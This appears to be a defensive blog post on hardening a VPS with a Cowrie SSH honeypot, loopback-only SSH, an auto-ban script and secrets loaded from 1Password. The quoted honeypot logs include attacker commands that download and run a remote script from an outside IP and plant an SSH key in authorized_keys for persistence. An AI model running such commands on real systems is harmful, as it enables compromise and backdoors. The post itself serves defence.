&lt;li&gt;Cowrie on port 22 (honeypot, fake shell, full logs)&lt;/li&gt;
&lt;li&gt;Real SSH moved to loopback-only&lt;/li&gt;
&lt;li&gt;Cloudflare Tunnel for real access&lt;/li&gt;
&lt;li&gt;Auto-ban script + fail2ban&lt;/li&gt;
&lt;li&gt;Internal services bound to loopback&lt;/li&gt;
&lt;li&gt;Secrets loaded from 1Password at boot&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This setup is reproducible.&lt;/p&gt;


&lt;h2&gt;
  
  
  What the logs showed
&lt;/h2&gt;

&lt;p&gt;One IP (&lt;code&gt;93.188.83.96&lt;/code&gt;) made &lt;strong&gt;20,822&lt;/strong&gt; attempts in one day.&lt;br&gt;&lt;br&gt;
Almost every session ran:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nt"&gt;-e&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;6F&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;6B"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That is &lt;code&gt;echo "ok"&lt;/code&gt; in hex. Standard credential validator behavior.&lt;/p&gt;

&lt;p&gt;Raw snippets from Cowrie logs:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;2026-02-21 03:12:11 [cowrie] login attempt root:password [FAKE SHELL]
2026-02-21 03:12:13 [cowrie] command: uname -s -v -n -m
2026-02-21 03:12:14 [cowrie] command: cat /proc/cpuinfo
2026-02-21 03:14:02 [cowrie] download attempt: http://194.165.16.11/clean.sh
2026-02-21 03:14:05 [cowrie] command: chmod +x clean.sh; sh clean.sh
2026-02-21 04:22:31 [cowrie] command: chattr -ia ~/.ssh/authorized_keys
2026-02-21 04:22:32 [cowrie] command: echo "ssh-rsa AAAA..." &amp;gt;&amp;gt; ~/.ssh/authorized_keys
2026-02-21 04:22:33 [cowrie] command: chattr +ai ~/.ssh/authorized_keys
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That last sequence is persistence.&lt;br&gt;&lt;br&gt;
On a normal server, it can stick. In Cowrie, it is fake filesystem noise.&lt;/p&gt;


&lt;h2&gt;
  
  
  What most people get wrong
&lt;/h2&gt;

&lt;p&gt;Most break-ins come from boring mistakes:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;SSH exposed with password auth&lt;/li&gt;
&lt;li&gt;Services bound to &lt;code&gt;0.0.0.0&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Secrets left in &lt;code&gt;.env&lt;/code&gt; forever&lt;/li&gt;
&lt;li&gt;No telemetry, so no visibility into active attacks&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;You do not need enterprise tooling first.&lt;br&gt;&lt;br&gt;
You need fewer exposed surfaces and better visibility.&lt;/p&gt;


&lt;h2&gt;
  
  
  Defense stack
&lt;/h2&gt;

&lt;p&gt;Rule: assume each layer fails eventually.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Internet Scanners
        ↓
Cloudflare (DDoS + Tunnel + Access Auth)
        ↓
  ┌─────────────────────────┐
  │     UFW Firewall        │
  │   (default deny all)    │
  └─────────────────────────┘
        ↓               ↓
   Port 22          Port 2222
  (Cowrie)        (Real SSH)
  Fake shell      Loopback only
  Full logging    Key auth only
        ↓               ↓
  Attack logs     Real access
        ↓
  Auto-ban + Telegram alerts
        ↓
  All services on loopback
  (zero direct exposure)
        ↓
  Secrets from 1Password
  (nothing long-lived on disk)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Layer 1: Cowrie on port 22
&lt;/h3&gt;

&lt;p&gt;Cowrie accepts attacker traffic and logs everything.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;apt update &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nb"&gt;sudo &lt;/span&gt;apt &lt;span class="nb"&gt;install &lt;/span&gt;git python3-venv &lt;span class="nt"&gt;-y&lt;/span&gt;
git clone https://github.com/cowrie/cowrie
&lt;span class="nb"&gt;cd &lt;/span&gt;cowrie
python3 &lt;span class="nt"&gt;-m&lt;/span&gt; venv cowrie-env
&lt;span class="nb"&gt;source &lt;/span&gt;cowrie-env/bin/activate
pip &lt;span class="nb"&gt;install&lt;/span&gt; &lt;span class="nt"&gt;-r&lt;/span&gt; requirements.txt
&lt;span class="nb"&gt;cp &lt;/span&gt;etc/cowrie.cfg.dist etc/cowrie.cfg
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Run it as non-root. Keep logs.&lt;/p&gt;

&lt;h3&gt;
  
  
  Layer 2: Real SSH off the public interface
&lt;/h3&gt;

&lt;p&gt;Move real SSH to loopback:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;nano /etc/ssh/sshd_config
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Port 2222
ListenAddress 127.0.0.1
PasswordAuthentication no
PubkeyAuthentication yes
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;systemctl restart ssh
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now real SSH is not publicly exposed.&lt;br&gt;&lt;br&gt;
Access goes through Cloudflare Tunnel.&lt;/p&gt;
&lt;h3&gt;
  
  
  Layer 3: Auto-ban heavy sources
&lt;/h3&gt;

&lt;p&gt;Every 15 minutes, parse today’s Cowrie logs and ban noisy IPs:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;#!/bin/bash&lt;/span&gt;
&lt;span class="nv"&gt;LOG_FILE&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"/home/cowrie/cowrie/var/log/cowrie/cowrie.json"&lt;/span&gt;
&lt;span class="nv"&gt;TODAY&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;date&lt;/span&gt; +%Y-%m-%d&lt;span class="si"&gt;)&lt;/span&gt;

jq &lt;span class="nt"&gt;-r&lt;/span&gt; &lt;span class="nt"&gt;--arg&lt;/span&gt; &lt;span class="nb"&gt;date&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$TODAY&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="s1"&gt;'select(.timestamp | startswith($date)) | .src_ip'&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$LOG_FILE&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; | &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nb"&gt;sort&lt;/span&gt; | &lt;span class="nb"&gt;uniq&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt; | &lt;span class="nb"&gt;sort&lt;/span&gt; &lt;span class="nt"&gt;-rn&lt;/span&gt; | &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="k"&gt;while &lt;/span&gt;&lt;span class="nb"&gt;read &lt;/span&gt;count ip&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do
    if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$count&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="nt"&gt;-ge&lt;/span&gt; 20 &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then
      &lt;/span&gt;ufw insert 1 deny from &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$ip&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; to any
      &lt;span class="c"&gt;# send Telegram alert&lt;/span&gt;
    &lt;span class="k"&gt;fi
  done&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;fail2ban stays enabled for real SSH too.&lt;/p&gt;

&lt;h3&gt;
  
  
  Layer 4: Internal services on loopback
&lt;/h3&gt;

&lt;p&gt;Example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;127.0.0.1:18789  ← AI gateway
127.0.0.1:8384   ← Syncthing
127.0.0.1:8787   ← Internal tools
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;No direct public exposure for these services.&lt;/p&gt;

&lt;h3&gt;
  
  
  Layer 5: Secrets loaded at boot
&lt;/h3&gt;

&lt;p&gt;Secrets are stored in 1Password, then loaded by systemd at startup.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# /etc/systemd/system/load-secrets.service&lt;/span&gt;
&lt;span class="o"&gt;[&lt;/span&gt;Unit]
&lt;span class="nv"&gt;Before&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;app.service
&lt;span class="nv"&gt;After&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;network-online.target

&lt;span class="o"&gt;[&lt;/span&gt;Service]
&lt;span class="nv"&gt;Type&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;oneshot
&lt;span class="nv"&gt;ExecStart&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/usr/local/bin/load-secrets.sh
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# load-secrets.sh&lt;/span&gt;
&lt;span class="nb"&gt;export &lt;/span&gt;&lt;span class="nv"&gt;OP_SERVICE_ACCOUNT_TOKEN&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; /root/.op-service-token&lt;span class="si"&gt;)&lt;/span&gt;
get&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt; op item get &lt;span class="s2"&gt;"Server Secrets"&lt;/span&gt; &lt;span class="nt"&gt;--vault&lt;/span&gt; MyVault &lt;span class="nt"&gt;--reveal&lt;/span&gt; &lt;span class="nt"&gt;--fields&lt;/span&gt; &lt;span class="s2"&gt;"label=&lt;/span&gt;&lt;span class="nv"&gt;$1&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="o"&gt;}&lt;/span&gt;

&lt;span class="nb"&gt;cat&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; /root/.env &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="no"&gt;EOSECRETS&lt;/span&gt;&lt;span class="sh"&gt;
OPENAI_API_KEY=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;get OPENAI_API_KEY&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="sh"&gt;
DB_PASSWORD=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;get DB_PASSWORD&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="sh"&gt;
&lt;/span&gt;&lt;span class="no"&gt;EOSECRETS
&lt;/span&gt;&lt;span class="nb"&gt;chmod &lt;/span&gt;600 /root/.env
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Why this works
&lt;/h2&gt;

&lt;p&gt;Most attackers optimize for speed and volume. They assume:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;SSH on 22&lt;/li&gt;
&lt;li&gt;password auth available&lt;/li&gt;
&lt;li&gt;public services they can scan&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This setup breaks those assumptions.&lt;/p&gt;




&lt;h2&gt;
  
  
  4 attacker types from day 1
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Type&lt;/th&gt;
&lt;th&gt;Goal&lt;/th&gt;
&lt;th&gt;Risk&lt;/th&gt;
&lt;th&gt;Defense&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Credential bots (90%)&lt;/td&gt;
&lt;td&gt;Find weak passwords&lt;/td&gt;
&lt;td&gt;Low&lt;/td&gt;
&lt;td&gt;Honeypot&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Fingerprinters (8%)&lt;/td&gt;
&lt;td&gt;Check hardware for mining targets&lt;/td&gt;
&lt;td&gt;Medium&lt;/td&gt;
&lt;td&gt;Hidden services&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Persistence attackers (1.5%)&lt;/td&gt;
&lt;td&gt;Plant SSH backdoors&lt;/td&gt;
&lt;td&gt;High&lt;/td&gt;
&lt;td&gt;Fake filesystem&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Malware loaders (0.5%)&lt;/td&gt;
&lt;td&gt;Drop miners/bots&lt;/td&gt;
&lt;td&gt;Critical&lt;/td&gt;
&lt;td&gt;Isolation&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  Notes
&lt;/h2&gt;

&lt;p&gt;This setup took around two days to get right end-to-end.&lt;br&gt;&lt;br&gt;
Main gaps I see on small VPS setups:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;no honeypot&lt;/li&gt;
&lt;li&gt;fail2ban treated as complete protection&lt;/li&gt;
&lt;li&gt;secrets living on disk forever&lt;/li&gt;
&lt;li&gt;no attack telemetry&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If you run public VPS infrastructure, this setup is worth implementing.&lt;/p&gt;




&lt;p&gt;Public IP means constant scanning.&lt;br&gt;&lt;br&gt;
First 24 hours here: &lt;strong&gt;27,253 attacks, zero breaches.&lt;/strong&gt;&lt;/p&gt;

</description>
      <category>security</category>
      <category>devops</category>
      <category>linux</category>
      <category>selfhosted</category>
    </item>
  </channel>
</rss>
